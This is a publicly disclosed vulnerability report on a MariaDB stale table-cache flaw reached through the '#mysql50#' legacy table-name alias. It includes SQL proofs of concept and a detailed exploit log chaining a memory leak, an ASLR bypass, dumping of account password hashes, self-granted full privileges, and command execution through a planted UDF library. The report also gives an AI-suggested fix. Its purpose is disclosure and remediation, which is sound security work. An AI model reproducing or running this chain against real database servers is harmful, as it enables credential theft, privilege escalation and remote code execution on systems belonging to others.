HexBrain

MariaDB · Report #3849040

#mysql50# legacy alias / stale table cache identity mismatch

Validstatus
5upvotes
7 Oct 2026disclosed

How it was found

Note: a working (but heavily vibecoded mess of a) info leak, privilege escalation, and or remote code execution chain for this issue is available. I recommend not posting anything publicly accessible about this in JIRA until resolved.

MariaDB still supports the #mysql50# table-name prefix as a legacy compatibility mechanism to ensure that tables whose on-disk names were created with older MySQL filename-mapping rules can still be accessed.

The problem is that while t and #mysql50#t refer to the same underlying table files as far as the storage layer is concerned, the SQL / metadata / cache layers will still treat them as two distinct table identities. A low-privileged schema owner can abuse this behavior and cause the table definition cache to become stale by opening a table through one spelling, t, and then replacing or reshaping the table through the other, #mysql50#t.

Any future queries may then use the stale TABLE / Field metadata against the new attacker controlled file data to various effect.

Proof of Concept

SELECT VERSION();
-- 13.1.0-MariaDB

DROP TABLE IF EXISTS t, `#mysql50#t`;
CREATE TABLE t(id INT, c1 BINARY(32)) ENGINE=MEMORY;
INSERT INTO t VALUES(1, REPEAT(0x41,32));

-- open / cache the wide table definition
SELECT 'table-read' AS type, id, LENGTH(c1), HEX(c1) FROM t;
-- +------------+------+------------+------------------------------------------------------------------+
-- | type       | id   | LENGTH(c1) | HEX(c1)                                                          |
-- +------------+------+------------+------------------------------------------------------------------+
-- | table-read |    1 |         32 | 4141414141414141414141414141414141414141414141414141414141414141 |
-- +------------+------+------------+------------------------------------------------------------------+

-- recreate the same physical table through the alias with a narrower layout
DROP TABLE `#mysql50#t`;
CREATE TABLE `#mysql50#t`(id INT, c1 BINARY(1)) ENGINE=MEMORY;
INSERT INTO `#mysql50#t` VALUES(2, 0x42);

-- reading through the new narrow alias
SELECT 'alias-read' AS type, id, LENGTH(c1), HEX(c1) FROM `#mysql50#t` WHERE id=2;
-- +------------+------+------------+---------+
-- | alias-read |    2 |          1 | 42      |
-- +------------+------+------------+---------+

-- reading through the stale wide table leaks adjacent memory
SELECT 'table-read' AS type, id, LENGTH(c1), HEX(c1) FROM t ORDER BY id;
-- +------------+------+------------+------------------------------------------------------------------+
-- | table-read |    1 |         32 | 4141414141414141414141414141414141414141414141414141414141414141 |
-- | table-read |    2 |         32 | 42414141414141414141416086402F080000005087402F080000000000000000 |
-- +------------+------+------------+------------------------------------------------------------------+

Suggested Fix

Codex suggests the following (in order of preference)

  • remove #mysql50# support completely
  • allow, but only for opening existing legacy files and explicit ALTER DATABASE ... UPGRADE DATA DIRECTORY NAME
  • otherwise ... db / table names should be normalized when used in cache keys.

This should most likely be based off the filename encoding such that the following should work?

`foo`              -> `foo`
`#mysql50#foo`     -> `foo`

`a/b`              -> `a@002fb`
`#mysql50#a@002fb` -> `a@002fb`

Note: there is a companion report re: #mysql50# / tablename_to_filename() issues that might also need to be taken into consideration here.

Additionally, it's important to note that normalizing the cache key may cause problems with things like TABLE_SHARE::set_table_cache_key() which derives share->db and share->table_name directly from the key.

Codex suggests adding a new helper function to normalize names, conceptually something like:

uint make_table_def_cache_key(char *key,
                              const char *db,
                              const char *table_name);

and then update the following:

tdc_create_key() sql/table_cache.h:107 Currently packs raw db / table_name. This must call the new canonical builder.

TABLE_LIST::init_one_table() / TABLE MDL request init sql/table.h:2539 Currently uses MDL_REQUEST_INIT(&mdl_request, MDL_key::TABLE, db.str, table_name.str, ...) This needs a TABLE-specific MDL initializer that uses the canonical table identity otherwise MDL still has split locks even if TDC is fixed.

get_table_def_key() server/sql/sql_base.cc:203 This can remain as-is only if TABLE MDL keys are already canonical. Otherwise it must stop returning the raw MDL suffix.

Direct MDL_REQUEST_INIT(... MDL_key::TABLE ...) call sites in places like:

sql/sql_admin.cc
sql/sql_handler.cc
sql/sql_parse.cc
sql/sql_table.cc
sql/sql_show.cc
sql/sql_db.cc
sql/sp_head.cc
sql/ddl_log.cc
sql/sql_cte.cc

Those should use a wrapper like MDL_REQUEST_INIT_TABLE_CANONICAL(...) or similar, so future code does not accidentally reintroduce raw table MDL keys.

Query-cache filename invalidation Query_cache::filename_2_table_key() should produce the same canonical key as make_table_def_cache_key(), not a sibling format.

Also Add DDL Collision Checks?

TL;DR - central helper first, TABLE MDL wrapper second, replace tdc_create_key() and direct TABLE-MDL call sites third.

</ai_suggestion>

Exploitability

Different storage engines, original / replacement table definitions, and or how the tables are used afterwards allow for a multitude of different behaviors to be turned into exploit primitives and chained together to achieve information disclosure, privilege escalation, and or arbitrary code execution. e.g.

Out-of-bounds read / ASLR bypass helper

A more weaponized version of the poc above uses a whole bunch of wide columns that are then narrowed - leaking more than enough data to effectively bypass ASLR.

CREATE TABLE t (id INT, c0 BINARY(255), ..., cN BINARY(255)) ENGINE=MEMORY;
INSERT INTO t VALUES (REPEAT(0x41,255), ..., REPEAT(0x41, 255));
...
INSERT INTO `#mysql50#t` VALUES(2, 0x42, ..., 0x42);
SELECT HEX(CONCAT(c0, ..., cN)) AS leaked_bytes FROM t;

read-what-where / credential disclosure

This variant uses stale MyISAM BLOB metadata.

The old cached table says the field is an out-of-row TINYBLOB; the replacement table stores the same bytes inline as VARBINARY. When reading through the stale BLOB field, attacker-chosen inline bytes are interpreted as BLOB pointer metadata.

CREATE TABLE victim(
  id INT,
  v TINYBLOB
) ENGINE=MyISAM;

INSERT INTO victim VALUES(1, REPEAT(0x41, 16));

-- open / cache the BLOB-shaped table.
SELECT id FROM victim;

CREATE TABLE repl(
  id INT,
  v VARBINARY(16)
) ENGINE=MyISAM;

-- recreate the same physical table through the alias
DROP TABLE `#mysql50#victim`;
RENAME TABLE repl TO `#mysql50#victim`;

-- <addr_le> is the target address (little-endian)
-- remaining bytes are padding / length-compatible carrier bytes.
INSERT INTO `#mysql50#victim` VALUES (99, UNHEX('<addr_le><padding>'));

-- we need to flush and repair the table here so we can read the leaked data.
-- assuming we dont have privs to `FLUSH TABLES`, you can create a lot of tables
-- (>= `@@table_open_cache`) and run a `SELECT` across each to push any existing
-- entries out of the open cache (which is mocked by the `vf_flush()` procedure)
CALL vf_flush();
-- we might have also been able to use something like the following as well:
-- SET @sql = CONCAT('ALTER TABLE `#mysql50#victim` COMMENT=''', NOW(6), ''', ALGORITHM=INPLACE, LOCK=NONE');
-- EXECUTE IMMEDIATE @sql;

REPAIR TABLE `#mysql50#victim`;

-- the stale field treats the inline VARBINARY bytes as a BLOB descriptor and
-- reads from the specified address
SELECT id, HEX(v) AS bytes_at_addr FROM `#mysql50#victim` WHERE id = 99;

write-what-where / privilege escalation

This variant uses stale MEMORY field metadata to overwrite a live Field_string object used by an UPDATE. The old row is shaped so that, when copied with the stale wide layout, bytes land over the Field_string object for the narrow alias table.

CREATE TABLE mem(
  c0 BINARY(255),
  c1 BINARY(255),
  c2 BINARY(255),
  c3 BINARY(255),
  c4 BINARY(255)
) ENGINE=MEMORY;

-- these fields contain a staged fake Field_string object at the offset reached
-- by the stale row copy.  the important forged members are:
--   vptr          = _ZTV12Field_string + 16
--   ptr           = destination address
--   field_length  = write length
--   table/charset = valid in-process pointers
INSERT INTO mem VALUES (
  UNHEX('<fake_Field_string_part_0>'),
  UNHEX('<fake_Field_string_part_1>'),
  UNHEX('<fake_Field_string_part_2>'),
  UNHEX('<fake_Field_string_part_3>'),
  UNHEX('<fake_Field_string_part_4>')
);

-- open / cache the original MEMORY shape.
SELECT COUNT(*) FROM mem;

-- recreate the table
DROP TABLE `#mysql50#mem`;
CREATE TABLE `#mysql50#mem`(
  c0 BINARY(1),
  ...
  c63 BINARY(1)
) ENGINE=MEMORY;

-- the stale copy corrupts the `Field_string` used by this `UPDATE`. `fill_record()`
-- then calls `Field_string::store()` and writes the payload to the forged ptr.
UPDATE `#mysql50#mem` SET c0 = 0x5a;

stale sequence dispatch / control-flow (RCE)

This variant crosses the ordinary Aria table to SEQUENCE boundary. The first NEXT VALUE FOR mutates sequence state through stale row/field metadata. A second NEXT VALUE FOR in the same statement re-enters sequence handling after that stale write has corrupted live sequence/handler state.

CREATE TABLE s(
  id INT PRIMARY KEY,
  v VARBINARY(8192)
) ENGINE=Aria;

-- store forged object/vtable-like data
INSERT INTO s VALUES(1, UNHEX('<object/vtable-like data>'));

-- open / cache the ordinary table.
SELECT COUNT(*) AS opened_old_shape FROM s;

-- recreate table as a SEQUENCE
DROP TABLE `#mysql50#s`;
CREATE SEQUENCE `#mysql50#s`
  START WITH 7
  INCREMENT BY 1
  CACHE 1
  ENGINE=Aria;

-- same-statement double evaluation: the first call corrupts live state, the
-- second call dispatches through that corrupted/stale state.
SELECT
  NEXT VALUE FOR `#mysql50#s` AS n1,
  NEXT VALUE FOR `#mysql50#s` AS n2;

or everything smashed into one poc

==============================================================================
MariaDB: #mysql50# legacy alias / stale table-cache identity mismatch
vortfu <[email protected]>

target=11.8.8-MariaDB-deb13/aarch64 build=450e330a
==============================================================================

[*] baseline (low-privilege connection)
[+] connected user=vortfu sock=127.0.0.1:3306 db=testdb
[>] mysql> SHOW GRANTS
    GRANT USAGE ON *.* TO `vortfu`@`localhost` IDENTIFIED BY PASSWORD '*2470C0C06DEE42FD1618BB99005ADCA2EC9D1E19'
    GRANT ALL PRIVILEGES ON `testdb`.* TO `vortfu`@`localhost`
[-] verify: low-privilege baseline
[>] mysql> SELECT COUNT(*) AS denied_mysql FROM mysql.global_priv
[-] mysql.global_priv denied: SQLSTATE[42000]: Syntax error or access violation: 1142 SELECT command denied to user 'vortfu'@'localhost' for table `mysql`.`global_priv`

[*] preflight cleanup
[-] current db=testdb
[-] dropping sequence, staging, transient, and eviction tables in db=testdb
[+] cleanup complete pool_tables=0

[*] setting up eviction pool
[+] eviction tables=2200 db=testdb prefix=seq_fv_evict_
[-] sizing source=auto: max(2200, @@table_open_cache + 200) table_open_cache=2000
[+] eviction pool ready

[*] bypassing ASLR
[-] recovering image base via MEMORY inverse leak
[+] image_base=0xaaaae75d0000
[-] verify: image base readback
[-] readback @base head=7f454c46020101030000000000000000
[-] verdict ELF64_OK

[*] leaking credentials from memory
[+] acl_users=0xaaaae8f62120 buffer=0xaaaaebac18c8 elements=12
[-] decoded ACL account cache entries
    user=bx             access=0x0           password=*B0F98AC2BC83A72D35365B50FFFDB90CD41275F5
    user=fdw            access=0x0           password=*7B9EBEED26AA52ED10C0F549FA863F13C39E0209
    user=mariadb.sys    access=0x0           password=
    user=mrprobe        access=0x0           password=
    user=mysql          access=0xffffffffff  password=invalid
    user=power          access=0x0           password=*7B9EBEED26AA52ED10C0F549FA863F13C39E0209
    user=procwriter     access=0x0           password=*7B9EBEED26AA52ED10C0F549FA863F13C39E0209
    user=root           access=0xffffffffff  password=invalid
    user=vortfu         access=0x0           password=*2470C0C06DEE42FD1618BB99005ADCA2EC9D1E19
    user=vortfu_mr      access=0x0           password=
    user=vortfu_tmp     access=0x0           password=
    user=vortfutest     access=0x0           password=*2470C0C06DEE42FD1618BB99005ADCA2EC9D1E19

[*] active connections
[+] server_threads=0xaaaae8f5f238 first=0xf7ff80004478
    thread_id=28   user=vortfu     access=0x0           THD=0xf7ff80004478 &master_access=0xf7ff80006ba0
    thread_id=2    user=           access=0x0           THD=0xf7ff78000c78 &master_access=0xf7ff780033a0
    thread_id=1    user=           access=0x0           THD=0xf7ff74000c78 &master_access=0xf7ff740033a0

[*] privilege escalation: master_access self-write
[+] targeting master_access=0xf7ff80006ba0 (user=vortfu thread=28)
[+] payload=0x0000ffffffffff bits=40 effect=FULL_PRIV_BITMAP
[-] writing payload to target address
[-] verify: master_access readback
[-] readback 0xf7ff80006ba0=0xffffffffff
[-] verdict FULL_PRIVS
[>] mysql> SELECT COUNT(*) AS visible_global_priv_rows FROM mysql.global_priv
    12
[+] global privilege table read now succeeds on the same connection
[+] current thread 28 access upgraded to 0xffffffffff

[*] RCE path A: planted UDF plugin
[>] mysql> SELECT @@plugin_dir AS plugin_dir
    /usr/lib/mysql/plugin/
[+] wrote UDF shared object to /tmp/udf_exec_3097.so
[-] overwriting opt_plugin_dir=0xaaaae8f640b8 -> /tmp
[>] mysql> SELECT @@plugin_dir AS plugin_dir
    /tmp
[>] mysql> CREATE OR REPLACE FUNCTION `udf_exec` RETURNS STRING SONAME 'udf_exec_3097.so'
[>] mysql> SELECT `udf_exec`('uname -a; id') AS udf_output
    Linux debian 6.12.90+deb13.1-arm64 #1 SMP Debian 6.12.90-2 (2026-05-27) aarch64 GNU/Linux
    uid=101(mysql) gid=104(mysql) groups=104(mysql)

[*] RCE path B: staged fake Field/vtable and sequence dispatch
[+] fake vtable call target=system_pivot(image+0x73b6e0 -> libc system) addr=0xaaaae7d0b6e0
[-] system_pivot uses QUICK_INDEX_INTERSECT_SELECT::get_next to call system(fake_field+0xb0)
[+] returnable Field_long mode: copied Field_long vtable=0xaaaae8d616b0 patched_val_int_slot+0xc8=0xaaaae7d0b6e0
[-] system_pivot cmd='uname -a; id' cmd_addr=0xf7ff82fa01b0 system=0xffffadd19380
[-] stage table=`testdb`.`seq_field_stage` TABLE=0xf7ff807c9818 record0=0xf7ff82f953d0
[-] fake_field[0]=0xf7ff82fa0100 patched_vtable=0xf7ff82fa0d00 value_cells=0xf7ff82fa1100
[+] verify field0.vptr=0xf7ff82fa0d00 patched_vtable[0xc8]=0xaaaae7d0b6e0 system_target=0xffffadd19380 values=0000000000000000ffffff7f0000000001000000010000000000000000000000
[-] field_array_skip_qwords=9: padding fake Field* array before expected table->field landing zone
[+] returnable Field_long array: field[0] runs system_pivot, fields[1..7] return staged sequence values
[+] misaligned load target fake Field*=0xf7ff82fa0100 encoded_qword=0x01000000f7ff82fa

[*] preparing controlled sequence backing row
[-] expected controlled table->field[0] / x0 = 0x0000f7ff82fa0100
[-] SQL qword encoding for misaligned load = 0x01000000f7ff82fa
[-] payload qword filler = 0x01000000f7ff82fa

[*] swapping the alias onto real SEQUENCE metadata

[*] triggering sequence RCE path
[>] mysql> SELECT NEXT VALUE FOR `testdb`.`#mysql50#seq_field_vptr` AS n_alias
    0

[*] SUCCESS - check mariadbd stdout/journald for any command output

[*] cleanup: best-effort artifact and table cleanup
[-] removing dumped UDF shared object /tmp/udf_exec_3097.so
[>] mysql> SELECT `udf_exec`('rm -f \'/tmp/udf_exec_3097.so\'') AS udf_file_cleanup
    [exit_status=0]
[-] dropping UDF function udf_exec
[+] UDF function udf_exec is no longer registered
[-] restoring opt_plugin_dir=0xaaaae8f640b8 -> /usr/lib/mysql/plugin/
[-] verify: plugin_dir restored
[>] mysql> SELECT @@plugin_dir AS plugin_dir
    /usr/lib/mysql/plugin/
[-] dropping sequence, staging, transient, and eviction tables in db=testdb
[+] cleanup complete pool_tables=2200

(also tested against mariadb-13.1.0-osx-arm64-release)

Impact

pwned :(

This report was disclosed publicly on HackerOne and belongs to its author and the program. See the original